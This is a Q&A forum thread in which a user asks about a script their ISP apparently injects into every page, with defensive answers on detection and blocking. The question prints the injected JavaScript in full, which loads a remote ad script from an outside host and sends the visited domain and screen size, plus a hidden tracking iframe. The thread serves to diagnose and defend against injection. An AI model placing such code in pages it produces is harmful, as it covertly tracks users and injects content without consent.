My ISP is injecting strange codes to every website I visit

Question

Here's the code at the bottom of every page:

<script type="text/javascript">if(self==top){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);document.write("<scr"+"ipt type=text/javascript src="+idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request");document.write("?id=1");document.write("&amp;enc=telkom2");document.write("&amp;params=" + "4TtHaUQnUEiP6K%2fc5C582NgXaqsgjSGNd2cIJOj4fGdzujsIEimxj4UPJYe9kNVgJGL7lyzhXKfrFGnoI%2b0vRYDgH9e8pX4n5Ajpp2c31FAwDlsLBVPPzlithe%2b39AiTY5lcCtK5vmMReu6wh%2bDE9aF7GU5vhghexF8DVA5RGi1nSH%2b4LUQNJ2rgvBZQRGaRUEas7vndUsAU7ZB2kVVd21uWsDGzo5RfMV2LGQF5uvtQQLl0Ism%2f7TwrUdQb5rPOdOsuSNgCzf7cTnxOizeAF5TqCrR5TPbRFuCEbu1j0vYkDTFuj9EdyZbRxAaO9KaZ1VpIEUKC3XEDAXKf0X3XDCyG3gvQoMWun2ueK8dLkFXlxSf9N4HI19gTZgGjR6Yc6QWGdE220AehWZepv%2bai9rUvHBo8xGo5pesp2qLykCKOPvJaq0IlaAunmzO0iLn9hkvy%2bl3BA8crhs3KdFymg9sCqjZ016F5XxGxpvEP64Se5R%2fSVPWjmyrXRo0Hj%2fR5W2wmR5oVAqGo6XAIYvQPj%2fay6rRypz%2fdDgohPBqd3g9wGYkzKmh9CjDSiozL4BrH2xmRhjAwbe9WTBc%2f45LdcqT4sjgnuTFy");document.write("&amp;idc_r="+idc_glo_r);document.write("&amp;domain="+document.domain);document.write("&amp;sw="+screen.width+"&amp;sh="+screen.height);document.write("></scr"+"ipt>");}</script><noscript>activate javascript</noscript>

Reformatted code for readability:

<script type="text/javascript">
if (self==top) 
{
    var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");
    var idc_glo_r = Math.floor(Math.random()*99999999999);

    document.write("<scr"+"ipt type=text/javascript src="+idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request");
    document.write("?id=1");
    document.write("&amp;enc=telkom2");

    document.write("&amp;params=" + "4TtHaUQnUEiP6K%2fc5C582NgXaqsgjSGNd2cIJOj4fGdzujsIEimxj4UPJYe9kNVgJGL7lyzhXKfrFGnoI%2b0vRYDgH9e8pX4n5Ajpp2c31FAwDlsLBVPPzlithe%2b39AiTY5lcCtK5vmMReu6wh%2bDE9aF7GU5vhghexF8DVA5RGi1nSH%2b4LUQNJ2rgvBZQRGaRUEas7vndUsAU7ZB2kVVd21uWsDGzo5RfMV2LGQF5uvtQQLl0Ism%2f7TwrUdQb5rPOdOsuSNgCzf7cTnxOizeAF5TqCrR5TPbRFuCEbu1j0vYkDTFuj9EdyZbRxAaO9KaZ1VpIEUKC3XEDAXKf0X3XDCyG3gvQoMWun2ueK8dLkFXlxSf9N4HI19gTZgGjR6Yc6QWGdE220AehWZepv%2bai9rUvHBo8xGo5pesp2qLykCKOPvJaq0IlaAunmzO0iLn9hkvy%2bl3BA8crhs3KdFymg9sCqjZ016F5XxGxpvEP64Se5R%2fSVPWjmyrXRo0Hj%2fR5W2wmR5oVAqGo6XAIYvQPj%2fay6rRypz%2fdDgohPBqd3g9wGYkzKmh9CjDSiozL4BrH2xmRhjAwbe9WTBc%2f45LdcqT4sjgnuTFy");

    document.write("&amp;idc_r="+idc_glo_r);
    document.write("&amp;domain="+document.domain);
    document.write("&amp;sw="+screen.width+"&amp;sh="+screen.height);
    document.write("></scr"+"ipt>");
}
</script>
<noscript>activate javascript</noscript>

As far as I know, the scripts results in:
1. Advertisements appearing on top of the page.
2. Another script, looks like this: (I think it is from all of the document.write)

<script type="text/javascript" src="http://cfs.u-ad.info/cfspushadsv2/request?id=1&enc=telkom2&params=4TtHaUQnUEiP6K%2fc5C582NgXaqsgjSGNd2cIJOj4fGd5RLjWCROmlHIy48LIQTADgF3HH0Ey1rugHzqHqlMdHhjWGhSoLYV7pNQv4xROBLa3av9%2fC4NiY3j2JGTEsNtntuZbGJY6AcrFAxBU%2bl2v%2fP7UmpGL4oPTkrnZHz2siuHgJObfiz9o2uFZcO0r5u9yM9Hb9%2fxVMO5q2x880snCrSpl0W78pEGN9bkMf0L3sntEalc9JCGeOgb0Sq8Na%2bsPstohxMNLoxwUZzykryNagI6%2f97%2foigL7WlQibMgu7KLaJuvZRRYZAe56XBzGCV0Dd8hZMaqNSy%2bsf6U%2fGFtjczEXqcbHmTYb9CN%2fM%2bBp85oqvoYceLPyxOEvGtM%2f3cZitomHRmFvN5Iczk%2fAhExnvnRD1PulZ1mM7ESsBXyW3MVYIPD5IgxsP0pakjCfcJVA7PWyrNPt2MdgS%2bEeBDVs6vwiFe4pvuYzp%2f7xQfwQCEp%2fzYMYURDk147O8N8xLBb0GAw7j2%2bleN0JEJdAN8cPFMleFkkswZJQ9pozHFOUKaICQr3f27Qe4dh5ZOeWx%2fug&idc_r=89214501948&domain=sparklingchix.com&sw=1920&sh=1080"></script>

If you visit the URL: http://cfs.u-ad.info/cfspushadsv2.
it is a login page of "Push Ads Management System" version 2.0
3. On the bottom page, there's an iframe like this one below: (note that it also sends a domain of the website I'm currently viewing)

<div id="pushstat" style="visibility:hidden;height:0;width:0">
    <iframe src="http://stat01.u-ad.info/push.stat/stackoverflow.com"></iframe>
</div>

The resulting iframe contains a Google Analytics script !
(The one that starts with function(i,s,o,g,r,a,m))

My questions:

1. What does all of these mean ? Do they just wanted to show ads, or wanted to collect my browsing statistics ?
2. How can I block it ?

Additional info: I live in Indonesia.

Answer 1

If you access a https:// page and the code is still there, then it's a local malware injecting code or a configured proxy. Your ISP can't inject it's own html-code into a https:// connection (unless for some very odd reason they act as a http-proxy of which you accepted the ssl certificate).

Answer 2

Are you sure it's your ISP? Could it be a malicious program running on your system?

You can try to get a Linux LiveCD somewhere, boot into it, and see if the code injection is still there.

If you see the injected code, it's almost surely your ISP doing this. You could look at the contract you signed, and if you don't see anything related to code injection permission, I think you can sue your ISP.

If you don't see the injected code anymore, the proble is that your system has been compromised. Some people says you can clean up the system and keep it running, so you can try. Download some clean up tools, delete your browser profiles, and try again. If it not works, backup everything, nuke the system and reinstall from scratch.

Answer 3

That's really interesting. I'd never seen this used by ISPs before.

You sure any device connected to your LAN isn't compromised with malware?

If it really is your ISP I would read over your TOS (Terms Of Service) like @Eric G recommended. If you're legally allowed to prevent it then:

Method 1:

• Use proxy like @Eric G recommend. If your using port 80 and 443 and code is still been injected then try a non standard HTTP/HTTPS port. As if your ISP injected code into other ports it would cause errors (For example: Let's say your playing a game on port 1000 and the code was been injected then the game server wouldn't understand your request.) Your ISP maybe more advanced techniques by using protocol detection then injecting code into any port that is detected as HTTP/HTTPS.

Method 2:

• Use a firewall to block *.u-ad.info and any other DNS entries if they occur.
• Optional to remove inserted code: Use packet editor such as WPE PRO. If you're familiar with windows internals and your a programmer then you can use memory detours and filter out before even get processed by application. (Let me know in comment if you want me to expand my answer on using detours)

Answer 4

If they are injecting scripts into every page, this would indicate that they may be tracking you, may be doing ads, etc. They are executing their code and since it loads dynamically they may change what they are doing and when at any time.

On the blocking part, you would need to check with your ISP terms of service and possibly government regulations in regards to blocking or modifying this code injection.

If permissible, you may want to bypass your ISP completely by using a proxy/VPN to start your connection to the Internet from a more trusted source (or at least one that isn't actively injecting code into your pages). You may also want to experiment with TOR.

On a more local browser/computer basis, you may want to disable JavaScript (which would probably break a lot of sites) or try some type of local proxy or blocking tool such as Privoxy or NoScript. You can research for other "proxies", "blockers" or "proxies" which can then be programmed and customized to whitelist or blacklist scripts from running or loading content from specific servers.